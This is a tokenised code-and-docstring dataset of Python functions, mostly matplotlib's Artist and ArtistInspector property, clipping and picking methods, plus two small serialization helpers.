{"signature": "def getp(o, property=None):", "body": "insp = ArtistInspector(o)<EOL>if property is None:<EOL><INDENT>ret = insp.pprint_getters()<EOL>print('<STR_LIT:\\n>'.join(ret))<EOL>return<EOL><DEDENT>func = getattr(o, '<STR_LIT>' + property)<EOL>return func()<EOL>", "docstring": "Return the value of handle property.  property is an optional string\nfor the property you want to return\n\nExample usage::\n\n    getp(o)  # get all the object properties\n    getp(o, 'linestyle')  # get the linestyle property\n\n*o* is a :class:`Artist` instance, eg\n:class:`~matplotllib.lines.Line2D` or an instance of a\n:class:`~matplotlib.axes.Axes` or :class:`matplotlib.text.Text`.\nIf the *property* is 'somename', this function returns\n\n  o.get_somename()\n\n:func:`getp` can be used to query all the gettable properties with\n``getp(o)``. Many properties have aliases for shorter typing, e.g.\n'lw' is an alias for 'linewidth'.  In the output, aliases and full\nproperty names will be listed as:\n\n  property or alias = value\n\ne.g.:\n\n  linewidth or lw = 2", "id": "f17255:m0"}
{"signature": "def setp(h, *args, **kwargs):", "body": "insp = ArtistInspector(h)<EOL>if len(kwargs)==<NUM_LIT:0> and len(args)==<NUM_LIT:0>:<EOL><INDENT>print('<STR_LIT:\\n>'.join(insp.pprint_setters()))<EOL>return<EOL><DEDENT>if len(kwargs)==<NUM_LIT:0> and len(args)==<NUM_LIT:1>:<EOL><INDENT>print(insp.pprint_setters(prop=args[<NUM_LIT:0>]))<EOL>return<EOL><DEDENT>if not cbook.iterable(h): h = [h]<EOL>else: h = cbook.flatten(h)<EOL>if len(args)%<NUM_LIT:2>:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>funcvals = []<EOL>for i in range(<NUM_LIT:0>, len(args)-<NUM_LIT:1>, <NUM_LIT:2>):<EOL><INDENT>funcvals.append((args[i], args[i+<NUM_LIT:1>]))<EOL><DEDENT>funcvals.extend(list(kwargs.items()))<EOL>ret = []<EOL>for o in h:<EOL><INDENT>for s, val in funcvals:<EOL><INDENT>s = s.lower()<EOL>funcName = \"<STR_LIT>\"%s<EOL>func = getattr(o,funcName)<EOL>ret.extend( [func(val)] )<EOL><DEDENT><DEDENT>return [x for x in cbook.flatten(ret)]<EOL>", "docstring": "matplotlib supports the use of :func:`setp` (\"set property\") and\n:func:`getp` to set and get object properties, as well as to do\nintrospection on the object.  For example, to set the linestyle of a\nline to be dashed, you can do::\n\n  >>> line, = plot([1,2,3])\n  >>> setp(line, linestyle='--')\n\nIf you want to know the valid types of arguments, you can provide the\nname of the property you want to set without a value::\n\n  >>> setp(line, 'linestyle')\n      linestyle: [ '-' | '--' | '-.' | ':' | 'steps' | 'None' ]\n\nIf you want to see all the properties that can be set, and their\npossible values, you can do::\n\n  >>> setp(line)\n      ... long output listing omitted\n\n:func:`setp` operates on a single instance or a list of instances.\nIf you are in query mode introspecting the possible values, only\nthe first instance in the sequence is used.  When actually setting\nvalues, all the instances will be set.  E.g., suppose you have a\nlist of two lines, the following will make both lines thicker and\nred::\n\n  >>> x = arange(0,1.0,0.01)\n  >>> y1 = sin(2*pi*x)\n  >>> y2 = sin(4*pi*x)\n  >>> lines = plot(x, y1, x, y2)\n  >>> setp(lines, linewidth=2, color='r')\n\n:func:`setp` works with the matlab(TM) style string/value pairs or\nwith python kwargs.  For example, the following are equivalent::\n\n  >>> setp(lines, 'linewidth', 2, 'color', r')  # matlab style\n\n  >>> setp(lines, linewidth=2, color='r')       # python style", "id": "f17255:m1"}
{"signature": "def remove(self):", "body": "<EOL>if self._remove_method != None:<EOL><INDENT>self._remove_method(self)<EOL><DEDENT>else:<EOL><INDENT>raise NotImplementedError('<STR_LIT>')<EOL><DEDENT>", "docstring": "Remove the artist from the figure if possible.  The effect\nwill not be visible until the figure is redrawn, e.g., with\n:meth:`matplotlib.axes.Axes.draw_idle`.  Call\n:meth:`matplotlib.axes.Axes.relim` to update the axes limits\nif desired.\n\nNote: :meth:`~matplotlib.axes.Axes.relim` will not see\ncollections even if the collection was added to axes with\n*autolim* = True.\n\nNote: there is no support for removing the artist's legend entry.", "id": "f17255:c0:m1"}
{"signature": "def have_units(self):", "body": "ax = self.axes<EOL>if ax is None or ax.xaxis is None:<EOL><INDENT>return False<EOL><DEDENT>return ax.xaxis.have_units() or ax.yaxis.have_units()<EOL>", "docstring": "Return *True* if units are set on the *x* or *y* axes", "id": "f17255:c0:m2"}
{"signature": "def convert_xunits(self, x):", "body": "ax = getattr(self, '<STR_LIT>', None)<EOL>if ax is None or ax.xaxis is None:<EOL><INDENT>return x<EOL><DEDENT>return ax.xaxis.convert_units(x)<EOL>", "docstring": "For artists in an axes, if the xaxis has units support,\n        convert *x* using xaxis unit type", "id": "f17255:c0:m3"}
{"signature": "def convert_yunits(self, y):", "body": "ax = getattr(self, '<STR_LIT>', None)<EOL>if ax is None or ax.yaxis is None: return y<EOL>return ax.yaxis.convert_units(y)<EOL>", "docstring": "For artists in an axes, if the yaxis has units support,\n        convert *y* using yaxis unit type", "id": "f17255:c0:m4"}
{"signature": "def set_axes(self, axes):", "body": "self.axes = axes<EOL>", "docstring": "Set the :class:`~matplotlib.axes.Axes` instance in which the\nartist resides, if any.\n\nACCEPTS: an :class:`~matplotlib.axes.Axes` instance", "id": "f17255:c0:m5"}
{"signature": "def get_axes(self):", "body": "return self.axes<EOL>", "docstring": "Return the :class:`~matplotlib.axes.Axes` instance the artist\nresides in, or *None*", "id": "f17255:c0:m6"}
{"signature": "def add_callback(self, func):", "body": "oid = self._oid<EOL>self._propobservers[oid] = func<EOL>self._oid += <NUM_LIT:1><EOL>return oid<EOL>", "docstring": "Adds a callback function that will be called whenever one of\nthe :class:`Artist`'s properties changes.\n\nReturns an *id* that is useful for removing the callback with\n:meth:`remove_callback` later.", "id": "f17255:c0:m7"}
{"signature": "def remove_callback(self, oid):", "body": "try: del self._propobservers[oid]<EOL>except KeyError: pass<EOL>", "docstring": "Remove a callback based on its *id*.\n\n.. seealso::\n    :meth:`add_callback`", "id": "f17255:c0:m8"}
{"signature": "def pchanged(self):", "body": "for oid, func in list(self._propobservers.items()):<EOL><INDENT>func(self)<EOL><DEDENT>", "docstring": "Fire an event when property changed, calling all of the\nregistered callbacks.", "id": "f17255:c0:m9"}
{"signature": "def is_transform_set(self):", "body": "return self._transformSet<EOL>", "docstring": "Returns *True* if :class:`Artist` has a transform explicitly\nset.", "id": "f17255:c0:m10"}
{"signature": "def set_transform(self, t):", "body": "self._transform = t<EOL>self._transformSet = True<EOL>self.pchanged()<EOL>", "docstring": "Set the :class:`~matplotlib.transforms.Transform` instance\nused by this artist.\n\nACCEPTS: :class:`~matplotlib.transforms.Transform` instance", "id": "f17255:c0:m11"}
{"signature": "def get_transform(self):", "body": "if self._transform is None:<EOL><INDENT>self._transform = IdentityTransform()<EOL><DEDENT>return self._transform<EOL>", "docstring": "Return the :class:`~matplotlib.transforms.Transform`\ninstance used by this artist.", "id": "f17255:c0:m12"}
{"signature": "def hitlist(self, event):", "body": "import traceback<EOL>L = []<EOL>try:<EOL><INDENT>hascursor,info = self.contains(event)<EOL>if hascursor:<EOL><INDENT>L.append(self)<EOL><DEDENT><DEDENT>except:<EOL><INDENT>traceback.print_exc()<EOL>print(\"<STR_LIT>\",self.__class__)<EOL><DEDENT>for a in self.get_children():<EOL><INDENT>L.extend(a.hitlist(event))<EOL><DEDENT>return L<EOL>", "docstring": "List the children of the artist which contain the mouse event *event*.", "id": "f17255:c0:m13"}
{"signature": "def get_children(self):", "body": "return []<EOL>", "docstring": "Return a list of the child :class:`Artist`s this\n:class:`Artist` contains.", "id": "f17255:c0:m14"}
{"signature": "def contains(self, mouseevent):", "body": "if callable(self._contains): return self._contains(self,mouseevent)<EOL>warnings.warn(\"<STR_LIT>\" % self.__class__.__name__)<EOL>return False,{}<EOL>", "docstring": "Test whether the artist contains the mouse event.\n\n        Returns the truth value and a dictionary of artist specific details of\n        selection, such as which points are contained in the pick radius.  See\n        individual artists for details.", "id": "f17255:c0:m15"}
{"signature": "def set_contains(self,picker):", "body": "self._contains = picker<EOL>", "docstring": "Replace the contains test used by this artist. The new picker\nshould be a callable function which determines whether the\nartist is hit by the mouse event::\n\n    hit, props = picker(artist, mouseevent)\n\nIf the mouse event is over the artist, return *hit* = *True*\nand *props* is a dictionary of properties you want returned\nwith the contains test.\n\nACCEPTS: a callable function", "id": "f17255:c0:m16"}
{"signature": "def get_contains(self):", "body": "return self._contains<EOL>", "docstring": "Return the _contains test used by the artist, or *None* for default.", "id": "f17255:c0:m17"}
{"signature": "def pickable(self):", "body": "return (self.figure is not None and<EOL>self.figure.canvas is not None and<EOL>self._picker is not None)<EOL>", "docstring": "Return *True* if :class:`Artist` is pickable.", "id": "f17255:c0:m18"}
{"signature": "def pick(self, mouseevent):", "body": "<EOL>if self.pickable():<EOL><INDENT>picker = self.get_picker()<EOL>if callable(picker):<EOL><INDENT>inside,prop = picker(self,mouseevent)<EOL><DEDENT>else:<EOL><INDENT>inside,prop = self.contains(mouseevent)<EOL><DEDENT>if inside:<EOL><INDENT>self.figure.canvas.pick_event(mouseevent, self, **prop)<EOL><DEDENT><DEDENT>for a in self.get_children():<EOL><INDENT>a.pick(mouseevent)<EOL><DEDENT>", "docstring": "call signature::\n\n  pick(mouseevent)\n\neach child artist will fire a pick event if *mouseevent* is over\nthe artist and the artist has picker set", "id": "f17255:c0:m19"}
{"signature": "def set_picker(self, picker):", "body": "self._picker = picker<EOL>", "docstring": "Set the epsilon for picking used by this artist\n\n*picker* can be one of the following:\n\n  * *None*: picking is disabled for this artist (default)\n\n  * A boolean: if *True* then picking will be enabled and the\n    artist will fire a pick event if the mouse event is over\n    the artist\n\n  * A float: if picker is a number it is interpreted as an\n    epsilon tolerance in points and the artist will fire\n    off an event if it's data is within epsilon of the mouse\n    event.  For some artists like lines and patch collections,\n    the artist may provide additional data to the pick event\n    that is generated, e.g. the indices of the data within\n    epsilon of the pick event\n\n  * A function: if picker is callable, it is a user supplied\n    function which determines whether the artist is hit by the\n    mouse event::\n\n      hit, props = picker(artist, mouseevent)\n\n    to determine the hit test.  if the mouse event is over the\n    artist, return *hit=True* and props is a dictionary of\n    properties you want added to the PickEvent attributes.\n\nACCEPTS: [None|float|boolean|callable]", "id": "f17255:c0:m20"}
{"signature": "def get_picker(self):", "body": "return self._picker<EOL>", "docstring": "Return the picker object used by this artist", "id": "f17255:c0:m21"}
{"signature": "def is_figure_set(self):", "body": "return self.figure is not None<EOL>", "docstring": "Returns True if the artist is assigned to a\n:class:`~matplotlib.figure.Figure`.", "id": "f17255:c0:m22"}
{"signature": "def get_url(self):", "body": "return self._url<EOL>", "docstring": "Returns the url", "id": "f17255:c0:m23"}
{"signature": "def set_url(self, url):", "body": "self._url = url<EOL>", "docstring": "Sets the url for the artist", "id": "f17255:c0:m24"}
{"signature": "def get_snap(self):", "body": "return self._snap<EOL>", "docstring": "Returns the snap setting which may be:\n\n  * True: snap vertices to the nearest pixel center\n\n  * False: leave vertices as-is\n\n  * None: (auto) If the path contains only rectilinear line\n    segments, round to the nearest pixel center\n\nOnly supported by the Agg backends.", "id": "f17255:c0:m25"}
{"signature": "def set_snap(self, snap):", "body": "self._snap = snap<EOL>", "docstring": "Sets the snap setting which may be:\n\n  * True: snap vertices to the nearest pixel center\n\n  * False: leave vertices as-is\n\n  * None: (auto) If the path contains only rectilinear line\n    segments, round to the nearest pixel center\n\nOnly supported by the Agg backends.", "id": "f17255:c0:m26"}
{"signature": "def get_figure(self):", "body": "return self.figure<EOL>", "docstring": "Return the :class:`~matplotlib.figure.Figure` instance the\nartist belongs to.", "id": "f17255:c0:m27"}
{"signature": "def set_figure(self, fig):", "body": "self.figure = fig<EOL>self.pchanged()<EOL>", "docstring": "Set the :class:`~matplotlib.figure.Figure` instance the artist\nbelongs to.\n\nACCEPTS: a :class:`matplotlib.figure.Figure` instance", "id": "f17255:c0:m28"}
{"signature": "def set_clip_box(self, clipbox):", "body": "self.clipbox = clipbox<EOL>self.pchanged()<EOL>", "docstring": "Set the artist's clip :class:`~matplotlib.transforms.Bbox`.\n\nACCEPTS: a :class:`matplotlib.transforms.Bbox` instance", "id": "f17255:c0:m29"}
{"signature": "def set_clip_path(self, path, transform=None):", "body": "from patches import Patch, Rectangle<EOL>success = False<EOL>if transform is None:<EOL><INDENT>if isinstance(path, Rectangle):<EOL><INDENT>self.clipbox = TransformedBbox(Bbox.unit(), path.get_transform())<EOL>self._clippath = None<EOL>success = True<EOL><DEDENT>elif isinstance(path, Patch):<EOL><INDENT>self._clippath = TransformedPath(<EOL>path.get_path(),<EOL>path.get_transform())<EOL>success = True<EOL><DEDENT><DEDENT>if path is None:<EOL><INDENT>self._clippath = None<EOL>success = True<EOL><DEDENT>elif isinstance(path, Path):<EOL><INDENT>self._clippath = TransformedPath(path, transform)<EOL>success = True<EOL><DEDENT>if not success:<EOL><INDENT>print(type(path), type(transform))<EOL>raise TypeError(\"<STR_LIT>\")<EOL><DEDENT>self.pchanged()<EOL>", "docstring": "Set the artist's clip path, which may be:\n\n  * a :class:`~matplotlib.patches.Patch` (or subclass) instance\n\n  * a :class:`~matplotlib.path.Path` instance, in which case\n     an optional :class:`~matplotlib.transforms.Transform`\n     instance may be provided, which will be applied to the\n     path before using it for clipping.\n\n  * *None*, to remove the clipping path\n\nFor efficiency, if the path happens to be an axis-aligned\nrectangle, this method will set the clipping box to the\ncorresponding rectangle and set the clipping path to *None*.\n\nACCEPTS: [ (:class:`~matplotlib.path.Path`,\n:class:`~matplotlib.transforms.Transform`) |\n:class:`~matplotlib.patches.Patch` | None ]", "id": "f17255:c0:m30"}
{"signature": "def get_alpha(self):", "body": "return self._alpha<EOL>", "docstring": "Return the alpha value used for blending - not supported on all\nbackends", "id": "f17255:c0:m31"}
{"signature": "def get_visible(self):", "body": "return self._visible<EOL>", "docstring": "Return the artist's visiblity", "id": "f17255:c0:m32"}
{"signature": "def get_animated(self):", "body": "return self._animated<EOL>", "docstring": "Return the artist's animated state", "id": "f17255:c0:m33"}
{"signature": "def get_clip_on(self):", "body": "return self._clipon<EOL>", "docstring": "Return whether artist uses clipping", "id": "f17255:c0:m34"}
{"signature": "def get_clip_box(self):", "body": "return self.clipbox<EOL>", "docstring": "Return artist clipbox", "id": "f17255:c0:m35"}
{"signature": "def get_clip_path(self):", "body": "return self._clippath<EOL>", "docstring": "Return artist clip path", "id": "f17255:c0:m36"}
{"signature": "def get_transformed_clip_path_and_affine(self):", "body": "if self._clippath is not None:<EOL><INDENT>return self._clippath.get_transformed_path_and_affine()<EOL><DEDENT>return None, None<EOL>", "docstring": "Return the clip path with the non-affine part of its\ntransformation applied, and the remaining affine part of its\ntransformation.", "id": "f17255:c0:m37"}
{"signature": "def set_clip_on(self, b):", "body": "self._clipon = b<EOL>self.pchanged()<EOL>", "docstring": "Set whether artist uses clipping.\n\nACCEPTS: [True | False]", "id": "f17255:c0:m38"}
{"signature": "def _set_gc_clip(self, gc):", "body": "if self._clipon:<EOL><INDENT>if self.clipbox is not None:<EOL><INDENT>gc.set_clip_rectangle(self.clipbox)<EOL><DEDENT>gc.set_clip_path(self._clippath)<EOL><DEDENT>else:<EOL><INDENT>gc.set_clip_rectangle(None)<EOL>gc.set_clip_path(None)<EOL><DEDENT>", "docstring": "Set the clip properly for the gc", "id": "f17255:c0:m39"}
{"signature": "def draw(self, renderer, *args, **kwargs):", "body": "if not self.get_visible(): return<EOL>", "docstring": "Derived classes drawing method", "id": "f17255:c0:m40"}
{"signature": "def set_alpha(self, alpha):", "body": "self._alpha = alpha<EOL>self.pchanged()<EOL>", "docstring": "Set the alpha value used for blending - not supported on\nall backends\n\nACCEPTS: float (0.0 transparent through 1.0 opaque)", "id": "f17255:c0:m41"}
{"signature": "def set_lod(self, on):", "body": "self._lod = on<EOL>self.pchanged()<EOL>", "docstring": "Set Level of Detail on or off.  If on, the artists may examine\nthings like the pixel width of the axes and draw a subset of\ntheir contents accordingly\n\nACCEPTS: [True | False]", "id": "f17255:c0:m42"}
{"signature": "def set_visible(self, b):", "body": "self._visible = b<EOL>self.pchanged()<EOL>", "docstring": "Set the artist's visiblity.\n\nACCEPTS: [True | False]", "id": "f17255:c0:m43"}
{"signature": "def set_animated(self, b):", "body": "self._animated = b<EOL>self.pchanged()<EOL>", "docstring": "Set the artist's animation state.\n\nACCEPTS: [True | False]", "id": "f17255:c0:m44"}
{"signature": "def update(self, props):", "body": "store = self.eventson<EOL>self.eventson = False<EOL>changed = False<EOL>for k,v in list(props.items()):<EOL><INDENT>func = getattr(self, '<STR_LIT>'+k, None)<EOL>if func is None or not callable(func):<EOL><INDENT>raise AttributeError('<STR_LIT>'%k)<EOL><DEDENT>func(v)<EOL>changed = True<EOL><DEDENT>self.eventson = store<EOL>if changed: self.pchanged()<EOL>", "docstring": "Update the properties of this :class:`Artist` from the\ndictionary *prop*.", "id": "f17255:c0:m45"}
{"signature": "def get_label(self):", "body": "return self._label<EOL>", "docstring": "Get the label used for this artist in the legend.", "id": "f17255:c0:m46"}
{"signature": "def set_label(self, s):", "body": "self._label = s<EOL>self.pchanged()<EOL>", "docstring": "Set the label to *s* for auto legend.\n\nACCEPTS: any string", "id": "f17255:c0:m47"}
{"signature": "def get_zorder(self):", "body": "return self.zorder<EOL>", "docstring": "Return the :class:`Artist`'s zorder.", "id": "f17255:c0:m48"}
{"signature": "def set_zorder(self, level):", "body": "self.zorder = level<EOL>self.pchanged()<EOL>", "docstring": "Set the zorder for the artist.  Artists with lower zorder\nvalues are drawn first.\n\nACCEPTS: any number", "id": "f17255:c0:m49"}
{"signature": "def update_from(self, other):", "body": "self._transform = other._transform<EOL>self._transformSet = other._transformSet<EOL>self._visible = other._visible<EOL>self._alpha = other._alpha<EOL>self.clipbox = other.clipbox<EOL>self._clipon = other._clipon<EOL>self._clippath = other._clippath<EOL>self._lod = other._lod<EOL>self._label = other._label<EOL>self.pchanged()<EOL>", "docstring": "Copy properties from *other* to *self*.", "id": "f17255:c0:m50"}
{"signature": "def set(self, **kwargs):", "body": "ret = []<EOL>for k,v in list(kwargs.items()):<EOL><INDENT>k = k.lower()<EOL>funcName = \"<STR_LIT>\"%k<EOL>func = getattr(self,funcName)<EOL>ret.extend( [func(v)] )<EOL><DEDENT>return ret<EOL>", "docstring": "A tkstyle set command, pass *kwargs* to set properties", "id": "f17255:c0:m51"}
{"signature": "def findobj(self, match=None):", "body": "if match is None: <EOL><INDENT>def matchfunc(x): return True<EOL><DEDENT>elif cbook.issubclass_safe(match, Artist):<EOL><INDENT>def matchfunc(x):<EOL><INDENT>return isinstance(x, match)<EOL><DEDENT><DEDENT>elif callable(match):<EOL><INDENT>matchfunc = match<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>artists = []<EOL>for c in self.get_children():<EOL><INDENT>if matchfunc(c):<EOL><INDENT>artists.append(c)<EOL><DEDENT>artists.extend([thisc for thisc in c.findobj(matchfunc) if matchfunc(thisc)])<EOL><DEDENT>if matchfunc(self):<EOL><INDENT>artists.append(self)<EOL><DEDENT>return artists<EOL>", "docstring": "pyplot signature:\n  findobj(o=gcf(), match=None)\n\nRecursively find all :class:matplotlib.artist.Artist instances\ncontained in self.\n\n*match* can be\n\n  - None: return all objects contained in artist (including artist)\n\n  - function with signature ``boolean = match(artist)`` used to filter matches\n\n  - class instance: eg Line2D.  Only return artists of class type\n\n.. plot:: mpl_examples/pylab_examples/findobj_demo.py", "id": "f17255:c0:m52"}
{"signature": "def __init__(self, o):", "body": "if cbook.iterable(o) and len(o): o = o[<NUM_LIT:0>]<EOL>self.oorig = o<EOL>if not isinstance(o, type):<EOL><INDENT>o = type(o)<EOL><DEDENT>self.o = o<EOL>self.aliasd = self.get_aliases()<EOL>", "docstring": "Initialize the artist inspector with an\n:class:`~matplotlib.artist.Artist` or sequence of\n:class:`Artists`.  If a sequence is used, we assume it is a\nhomogeneous sequence (all :class:`Artists` are of the same\ntype) and it is your responsibility to make sure this is so.", "id": "f17255:c1:m0"}
{"signature": "def get_aliases(self):", "body": "names = [name for name in dir(self.o) if<EOL>(name.startswith('<STR_LIT>') or name.startswith('<STR_LIT>'))<EOL>and callable(getattr(self.o,name))]<EOL>aliases = {}<EOL>for name in names:<EOL><INDENT>func = getattr(self.o, name)<EOL>if not self.is_alias(func): continue<EOL>docstring = func.__doc__<EOL>fullname = docstring[<NUM_LIT:10>:]<EOL>aliases.setdefault(fullname[<NUM_LIT:4>:], {})[name[<NUM_LIT:4>:]] = None<EOL><DEDENT>return aliases<EOL>", "docstring": "Get a dict mapping *fullname* -> *alias* for each *alias* in\nthe :class:`~matplotlib.artist.ArtistInspector`.\n\nEg., for lines::\n\n  {'markerfacecolor': 'mfc',\n   'linewidth'      : 'lw',\n  }", "id": "f17255:c1:m1"}
{"signature": "def get_valid_values(self, attr):", "body": "name = '<STR_LIT>'%attr<EOL>if not hasattr(self.o, name):<EOL><INDENT>raise AttributeError('<STR_LIT>'%(self.o,name))<EOL><DEDENT>func = getattr(self.o, name)<EOL>docstring = func.__doc__<EOL>if docstring is None: return '<STR_LIT>'<EOL>if docstring.startswith('<STR_LIT>'):<EOL><INDENT>return None<EOL><DEDENT>match = self._get_valid_values_regex.search(docstring)<EOL>if match is not None:<EOL><INDENT>return match.group(<NUM_LIT:1>).replace('<STR_LIT:\\n>', '<STR_LIT:U+0020>')<EOL><DEDENT>return '<STR_LIT>'<EOL>", "docstring": "Get the legal arguments for the setter associated with *attr*.\n\nThis is done by querying the docstring of the function *set_attr*\nfor a line that begins with ACCEPTS:\n\nEg., for a line linestyle, return\n[ '-' | '--' | '-.' | ':' | 'steps' | 'None' ]", "id": "f17255:c1:m2"}
{"signature": "def _get_setters_and_targets(self):", "body": "setters = []<EOL>for name in dir(self.o):<EOL><INDENT>if not name.startswith('<STR_LIT>'): continue<EOL>o = getattr(self.o, name)<EOL>if not callable(o): continue<EOL>func = o<EOL>if self.is_alias(func): continue<EOL>source_class = self.o.__module__ + \"<STR_LIT:.>\" + self.o.__name__<EOL>for cls in self.o.mro():<EOL><INDENT>if name in cls.__dict__:<EOL><INDENT>source_class = cls.__module__ + \"<STR_LIT:.>\" + cls.__name__<EOL>break<EOL><DEDENT><DEDENT>setters.append((name[<NUM_LIT:4>:], source_class + \"<STR_LIT:.>\" + name))<EOL><DEDENT>return setters<EOL>", "docstring": "Get the attribute strings and a full path to where the setter\nis defined for all setters in an object.", "id": "f17255:c1:m3"}
{"signature": "def get_setters(self):", "body": "return [prop for prop, target in self._get_setters_and_targets()]<EOL>", "docstring": "Get the attribute strings with setters for object.  Eg., for a line,\nreturn ``['markerfacecolor', 'linewidth', ....]``.", "id": "f17255:c1:m4"}
{"signature": "def is_alias(self, o):", "body": "ds = o.__doc__<EOL>if ds is None: return False<EOL>return ds.startswith('<STR_LIT>')<EOL>", "docstring": "Return *True* if method object *o* is an alias for another\nfunction.", "id": "f17255:c1:m5"}
{"signature": "def aliased_name(self, s):", "body": "if s in self.aliasd:<EOL><INDENT>return s + '<STR_LIT>'.join(['<STR_LIT>' % x for x in list(self.aliasd[s].keys())])<EOL><DEDENT>else:<EOL><INDENT>return s<EOL><DEDENT>", "docstring": "return 'PROPNAME or alias' if *s* has an alias, else return\nPROPNAME.\n\nE.g. for the line markerfacecolor property, which has an\nalias, return 'markerfacecolor or mfc' and for the transform\nproperty, which does not, return 'transform'", "id": "f17255:c1:m6"}
{"signature": "def aliased_name_rest(self, s, target):", "body": "if s in self.aliasd:<EOL><INDENT>aliases = '<STR_LIT>'.join(['<STR_LIT>' % x for x in list(self.aliasd[s].keys())])<EOL><DEDENT>else:<EOL><INDENT>aliases = '<STR_LIT>'<EOL><DEDENT>return '<STR_LIT>' % (s, target, aliases)<EOL>", "docstring": "return 'PROPNAME or alias' if *s* has an alias, else return\nPROPNAME formatted for ReST\n\nE.g. for the line markerfacecolor property, which has an\nalias, return 'markerfacecolor or mfc' and for the transform\nproperty, which does not, return 'transform'", "id": "f17255:c1:m7"}
{"signature": "def pprint_setters(self, prop=None, leadingspace=<NUM_LIT:2>):", "body": "if leadingspace:<EOL><INDENT>pad = '<STR_LIT:U+0020>'*leadingspace<EOL><DEDENT>else:<EOL><INDENT>pad  = '<STR_LIT>'<EOL><DEDENT>if prop is not None:<EOL><INDENT>accepts = self.get_valid_values(prop)<EOL>return '<STR_LIT>' %(pad, prop, accepts)<EOL><DEDENT>attrs = self._get_setters_and_targets()<EOL>attrs.sort()<EOL>lines = []<EOL>for prop, path in attrs:<EOL><INDENT>accepts = self.get_valid_values(prop)<EOL>name = self.aliased_name(prop)<EOL>lines.append('<STR_LIT>' %(pad, name, accepts))<EOL><DEDENT>return lines<EOL>", "docstring": "If *prop* is *None*, return a list of strings of all settable properies\nand their valid values.\n\nIf *prop* is not *None*, it is a valid property name and that\nproperty will be returned as a string of property : valid\nvalues.", "id": "f17255:c1:m8"}
{"signature": "def pprint_setters_rest(self, prop=None, leadingspace=<NUM_LIT:2>):", "body": "if leadingspace:<EOL><INDENT>pad = '<STR_LIT:U+0020>'*leadingspace<EOL><DEDENT>else:<EOL><INDENT>pad  = '<STR_LIT>'<EOL><DEDENT>if prop is not None:<EOL><INDENT>accepts = self.get_valid_values(prop)<EOL>return '<STR_LIT>' %(pad, prop, accepts)<EOL><DEDENT>attrs = self._get_setters_and_targets()<EOL>attrs.sort()<EOL>lines = []<EOL>names = [self.aliased_name_rest(prop, target) for prop, target in attrs]<EOL>accepts = [self.get_valid_values(prop) for prop, target in attrs]<EOL>col0_len = max([len(n) for n in names])<EOL>col1_len = max([len(a) for a in accepts])<EOL>table_formatstr = pad + '<STR_LIT:=>'*col0_len + '<STR_LIT:U+0020>' + '<STR_LIT:=>'*col1_len<EOL>lines.append('<STR_LIT>')<EOL>lines.append(table_formatstr)<EOL>lines.append(pad + '<STR_LIT>'.ljust(col0_len+<NUM_LIT:3>) +'<STR_LIT>'.ljust(col1_len))<EOL>lines.append(table_formatstr)<EOL>lines.extend([pad + n.ljust(col0_len+<NUM_LIT:3>) + a.ljust(col1_len)<EOL>for n, a in zip(names, accepts)])<EOL>lines.append(table_formatstr)<EOL>lines.append('<STR_LIT>')<EOL>return lines<EOL>for prop, path in attrs:<EOL><INDENT>accepts = self.get_valid_values(prop)<EOL>name = self.aliased_name_rest(prop, path)<EOL>lines.append('<STR_LIT>' %(pad, name, accepts))<EOL><DEDENT>return lines<EOL>", "docstring": "If *prop* is *None*, return a list of strings of all settable properies\nand their valid values.  Format the output for ReST\n\nIf *prop* is not *None*, it is a valid property name and that\nproperty will be returned as a string of property : valid\nvalues.", "id": "f17255:c1:m9"}
{"signature": "def pprint_getters(self):", "body": "o = self.oorig<EOL>getters = [name for name in dir(o)<EOL>if name.startswith('<STR_LIT>')<EOL>and callable(getattr(o, name))]<EOL>getters.sort()<EOL>lines = []<EOL>for name in getters:<EOL><INDENT>func = getattr(o, name)<EOL>if self.is_alias(func): continue<EOL>try: val = func()<EOL>except: continue<EOL>if getattr(val, '<STR_LIT>', ()) != () and len(val)><NUM_LIT:6>:<EOL><INDENT>s = str(val[:<NUM_LIT:6>]) + '<STR_LIT>'<EOL><DEDENT>else:<EOL><INDENT>s = str(val)<EOL><DEDENT>s = s.replace('<STR_LIT:\\n>', '<STR_LIT:U+0020>')<EOL>if len(s)><NUM_LIT:50>:<EOL><INDENT>s = s[:<NUM_LIT:50>] + '<STR_LIT>'<EOL><DEDENT>name = self.aliased_name(name[<NUM_LIT:4>:])<EOL>lines.append('<STR_LIT>' %(name, s))<EOL><DEDENT>return lines<EOL>", "docstring": "Return the getters and actual values as list of strings.", "id": "f17255:c1:m10"}
{"signature": "def findobj(self, match=None):", "body": "if match is None: <EOL><INDENT>def matchfunc(x): return True<EOL><DEDENT>elif issubclass(match, Artist):<EOL><INDENT>def matchfunc(x):<EOL><INDENT>return isinstance(x, match)<EOL><DEDENT><DEDENT>elif callable(match):<EOL><INDENT>matchfunc = func<EOL><DEDENT>else:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>artists = []<EOL>for c in self.get_children():<EOL><INDENT>if matchfunc(c):<EOL><INDENT>artists.append(c)<EOL><DEDENT>artists.extend([thisc for thisc in c.findobj(matchfunc) if matchfunc(thisc)])<EOL><DEDENT>if matchfunc(self):<EOL><INDENT>artists.append(self)<EOL><DEDENT>return artists<EOL>", "docstring": "Recursively find all :class:`matplotlib.artist.Artist`\ninstances contained in *self*.\n\nIf *match* is not None, it can be\n\n  - function with signature ``boolean = match(artist)``\n\n  - class instance: eg :class:`~matplotlib.lines.Line2D`\n\nused to filter matches.", "id": "f17255:c1:m11"}
{"signature": "def _allSubclasses(cls):", "body": "return cls.__subclasses__() + [<EOL>g for s in cls.__subclasses__() for g in _allSubclasses(s)<EOL>]<EOL>", "docstring": "Get all subclasses\n:param cls: The class to get subclasses from\n:return: list with all subclasses", "id": "f17263:m0"}
{"signature": "def _getAttributes(obj):", "body": "if isinstance(obj, dict):<EOL><INDENT>attrs = obj<EOL><DEDENT>elif hasattr(obj, \"<STR_LIT>\"):<EOL><INDENT>attrs = {attr: getattr(obj, attr) for attr in obj.__slots__}<EOL><DEDENT>elif hasattr(obj, \"<STR_LIT>\"):<EOL><INDENT>attrs = obj.__dict__<EOL><DEDENT>testParams = SERIALIZABLE_SUBCLASSES[obj.__class__.__name__]<EOL>if \"<STR_LIT>\" in testParams:<EOL><INDENT>for f in testParams[\"<STR_LIT>\"]:<EOL><INDENT>if f in attrs:<EOL><INDENT>del attrs[f]<EOL><DEDENT><DEDENT><DEDENT>return attrs<EOL>", "docstring": "Get all attributes of the given object", "id": "f17263:m1"}
